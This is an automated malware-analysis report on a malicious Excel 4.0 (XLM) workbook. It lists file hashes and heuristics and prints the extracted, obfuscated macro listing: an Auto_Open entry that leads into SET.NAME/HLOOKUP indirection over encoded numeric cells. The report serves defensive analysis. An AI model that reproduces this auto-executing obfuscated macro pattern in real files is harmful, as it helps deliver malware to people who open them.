Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 201e35e8c63909f0…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:47 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 97a877f6457f4c30b29362222b988154 SHA-1: eb89f3b570ce16edbdd41de5c79577e3a59a86ed SHA-256: 201e35e8c63909f037a389d4cec94e1d60f7cedd7b6bd6f49041e574ac602a82
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6598 bytes
SHA-256: 2f30019dcb1e29176182787aea951792440254106444ae15de5a9563489e076d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  IOgh
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B155 
' 0018     23 LABEL : Cell Value, String Constant - bQkAPqmc len=0 
' 0018     27 LABEL : Cell Value, String Constant - BWSaIxdRVEoE len=0 
' 0018     24 LABEL : Cell Value, String Constant - cGmWISpqw len=0 
' 0018     27 LABEL : Cell Value, String Constant - CtapiafbiCns len=0 
' 0018     27 LABEL : Cell Value, String Constant - EtFxVtyugeWc len=0 
' 0018     21 LABEL : Cell Value, String Constant - eXEpbr len=0 
' 0018     21 LABEL : Cell Value, String Constant - ibBXmL len=0 
' 0018     24 LABEL : Cell Value, String Constant - iBMZmXuHE len=0 
' 0018     26 LABEL : Cell Value, String Constant - IlzwWmnyNcB len=0 
' 0018     22 LABEL : Cell Value, String Constant - KvtZQcQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - lFcsKfgTBFQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - LwOnDLufxck len=0 
' 0018     22 LABEL : Cell Value, String Constant - NNhUqfr len=0 
' 0018     21 LABEL : Cell Value, String Constant - PlkMIu len=0 
' 0018     21 LABEL : Cell Value, String Constant - PQoJbD len=0 
' 0018     24 LABEL : Cell Value, String Constant - sxoZEgACs len=0 
' 0018     23 LABEL : Cell Value, String Constant - SzwjPmNV len=0 
' 0018     22 LABEL : Cell Value, String Constant - tVgUOwG len=0 
' 0018     26 LABEL : Cell Value, String Constant - VzMsDdkSeaP len=0 
' 0018     23 LABEL : Cell Value, String Constant - YWIouLvq len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  IOgh,B63,"SET.NAME("iBMZmXuHE",0+VALUE("0"))",""
'  IOgh,B66,"SET.NAME("PlkMIu",iBMZmXuHE)",""
'  IOgh,B69,"SET.NAME("NNhUqfr",iBMZmXuHE)",""
'  IOgh,B71,"SET.NAME("ibBXmL",COUNTA(eXEpbr))",""
'  IOgh,B76,"SET.NAME("lFcsKfgTBFQ",COUNTA(CtapiafbiCns))",""
'  IOgh,B81,[],""
'  IOgh,B84,"SET.NAME("VzMsDdkSeaP","")",""
'  IOgh,B86,"PlkMIu",""
'  IOgh,B91,"SET.NAME("SzwjPmNV",HLOOKUP("*",eXEpbr,PlkMIu,FALSE))",""
'  IOgh,R95,"",940.00000000000000000000
'  IOgh,B96,"IlzwWmnyNcB",""
'  IOgh,R96,"",885.00000000000000000000
'  IOgh,R97,"",-119.00000000000000000000
'  IOgh,R98,"",735.00000000000000000000
'  IOgh,R99,"",624.00000000000000000000
'  IOgh,B100,"SET.NAME("bQkAPqmc",iBMZmXuHE)",""
'  IOgh,R100,"",-899.00000000000000000000
'  IOgh,B103,[],""
'  IOgh,B105,"bQkAPqmc",""
'  IOgh,B107,"cGmWISpqw",""
'  IOgh,B111,"LwOnDLufxck",""
'  IOgh,B116,"KvtZQcQ",""
'  IOgh,B121,"SET.NAME("PQoJbD",VALUE(HLOOKUP("*",CtapiafbiCns,KvtZQcQ,FALSE)))",""
'  IOgh,B123,"EtFxVtyugeWc",""
'  IOgh,B127,"VzMsDdkSeaP",""
'  IOgh,B129,"NNhUqfr",""
'  IOgh,B133,NEXT(),""
'  IOgh,B138,"YWIouLvq",""
'  IOgh,B140,[],""
'  IOgh,B143,"tVgUOwG",""
'  IOgh,B146,NEXT(),""
'  IOgh,B150,RETURN(),""
'  IOgh,B184,"SET.NAME("sxoZEgACs",B63)",""
'  IOgh,B189,"eXEpbr",""
'  IOgh,B192,"SET.NAME("CtapiafbiCns",R84C11)",""
'  IOgh,B196,"SET.NAME("tVgUOwG",203)",""
'  IOgh,B200,"SET.NAME("BWSaIxdRVEoE",2)",""
'  IOgh,B202,sxoZEgACs(),""
'  IOgh,B203,HALT(),""

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